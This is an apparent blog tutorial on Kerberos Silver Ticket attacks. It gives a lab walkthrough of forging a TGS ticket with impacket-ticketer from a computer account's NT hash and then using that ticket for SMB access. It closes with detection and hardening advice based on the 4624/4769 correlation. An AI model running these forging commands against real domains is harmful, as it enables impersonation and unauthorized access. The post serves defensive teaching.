Silver Ticket Attack: How to Detect Forged Kerberos TGS Tickets in AD

Silver Ticket Detection involves identifying suspicious Kerberos logon activities on target servers, particularly when Event ID 4624 is recorded without a corresponding Event ID 4769 on the Domain Controller. This may indicate that an attacker has used a forged TGS ticket to bypass the Key Distribution Center (KDC) during authentication.

This post covers how Silver Ticket attacks work inside Kerberos, how to forge one in a lab using Impacket ticketer targeting an SMB service.

What Is a Silver Ticket Attack?

Silver Ticket is a Kerberos attack technique where an attacker forges a Ticket Granting Service (TGS) ticket using the NTLM hash of a service or computer account — without contacting the Domain Controller at any point. In a normal Kerberos flow, authentication happens in three steps:

1. Client requests a TGT from the KDC (logged as Event 4768)
2. Client requests a TGS from the KDC for a specific service (logged as Event 4769)
3. Client presents the TGS directly to the target service

In a Silver Ticket attack, the attacker skips steps 1 and 2 entirely. Because TGS tickets are encrypted with the service account’s NTLM hash (not the KDC’s krbtgt key), anyone who holds that hash can forge a valid TGS offline and present it directly to the target service. The Domain Controller never sees the traffic. This design gives Silver Ticket two dangerous properties:

• No KDC contact required — the attack works even if the DC is unreachable
• Impersonate any user — the forged ticket can claim any identity, including Domain Admin, regardless of what the real account’s permissions are

What Does a Silver Ticket Attack Require?

Four pieces of information are needed to forge a Silver Ticket. All of them can be extracted from a domain with DCSync access:

The NTLM hash comes from the computer account, not a user. In DCSync output, computer accounts appear with a trailing $:

WINDOW10-CLIENT$:1105:aad3b435b51404eeaad3b435b51404ee:8f4aacebaf73e3f9ae44c454d6941754:::

The NT hash — the second value after the final colon — is what gets passed to impacket-ticketer. The LM hash (aad3b435...) is a blank placeholder.

How to Forge a Silver Ticket with Impacket ticketer?

In the lab, i used impacket-ticketer — a tool in the Impacket suite that creates forged Kerberos tickets offline. No network connection to the DC is needed once you have the four items above.

1. Install Impacket

pipx install impacket

2. Activate the virtual environment

cd ~/.local/share/pipx/venvs/impacket
source ./bin/activate

3. Forge the Silver Ticket

With the environment active, run impacket-ticketer with all four required values:

impacket-ticketer \
  -nthash 8f4aacebaf73e3f9ae44c454d6941754 \
  -domain-sid S-1-5-21-4083024152-3868936388-1761055989 \
  -domain domain.local \
  -spn cifs/WINDOW10-CLIENT.domain.local \
  user.test

Option breakdown:

Expected output:

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for domain.local/user.test
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in user.test.ccache

The tool writes a user.test.ccache file — a Kerberos credential cache containing the forged TGS, ready to use.

4. Load the ticket and access SMB

Export the cache file to the environment, then present the forged ticket to the target service — no password or DC contact needed:

export KRB5CCNAME=user.test.ccache

KRB5CCNAME=user.test.ccache impacket-smbclient \
  -k -no-pass \
  domain.local/user.test@WINDOW10-CLIENT.domain.local

Note: The FQDN in the -spn flag and the target address must match exactly. If you forged cifs/WINDOW10-CLIENT.domain.local, the SMB connection must target WINDOW10-CLIENT.domain.local — using the IP will cause the ticket to be rejected.

How Does Silver Ticket Compare to Golden Ticket and DCSync?

These three techniques are often chained together in an Active Directory attack, but they target different layers and leave very different forensic evidence.

In a real attack chain, DCSync is used first to dump hashes — including the krbtgt hash (for Golden Ticket) and computer account hashes (for Silver Ticket). Silver Ticket is then used for targeted, stealthy access to specific services, while Golden Ticket is reserved for maintaining domain-wide persistence.

How to Enable Logging to Detect Silver Ticket?

Two audit settings are required. Neither is enabled by default.

Enable Kerberos Service Ticket Operations on the DC

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → Account Logon
    → Audit Kerberos Service Ticket Operations → Success + Failure

This enables Event 4769 — the event whose absence is the primary Silver Ticket indicator.

Enable Logon Auditing on All Domain-Joined Machines

Computer Configuration
  → Windows Settings
  → Security Settings
  → Advanced Audit Policy Configuration
  → Logon/Logoff
    → Audit Logon → Success + Failure
  → Logon/Logoff
    → Audit Special Logon → Success

Forward Security Event Logs from all domain-joined machines — not just the DC — to your SIEM. The Silver Ticket authentication event appears only on the target machine. Monitoring only the DC means you will never see it.

Conclusion

Silver Ticket is the stealthiest of the Kerberos forged-ticket attacks — it produces almost no evidence on the Domain Controller and blends into normal Kerberos traffic on the target machine. The key to catching it is building SIEM correlation rules that look for what is missing, not just what is present. To defend against it:

1. Enable Event 4769 auditing on Domain Controllers and Event 4624 on all domain machines — both are needed for the correlation rule that detects Silver Ticket.
2. Build a SIEM correlation rule — alert when Event 4624 (Kerberos, LogonType 3) appears on any machine with no matching Event 4769 on the DC for the same account within a short time window.
3. Protect computer account hashes — Silver Ticket requires the target machine’s NTLM hash. Limiting DCSync-capable accounts and monitoring for Event 4662 (DCSync) prevents hash extraction in the first place.
4. Enable PAC validation — configure services to validate the PAC with the KDC (ValidateKdcPacSignature). This forces the DC to verify the ticket and breaks Silver Tickets that contain forged group memberships.
5. Rotate computer account passwords — computer accounts rotate automatically every 30 days by default. After any suspected compromise, manually rotate affected computer accounts to invalidate any outstanding Silver Tickets.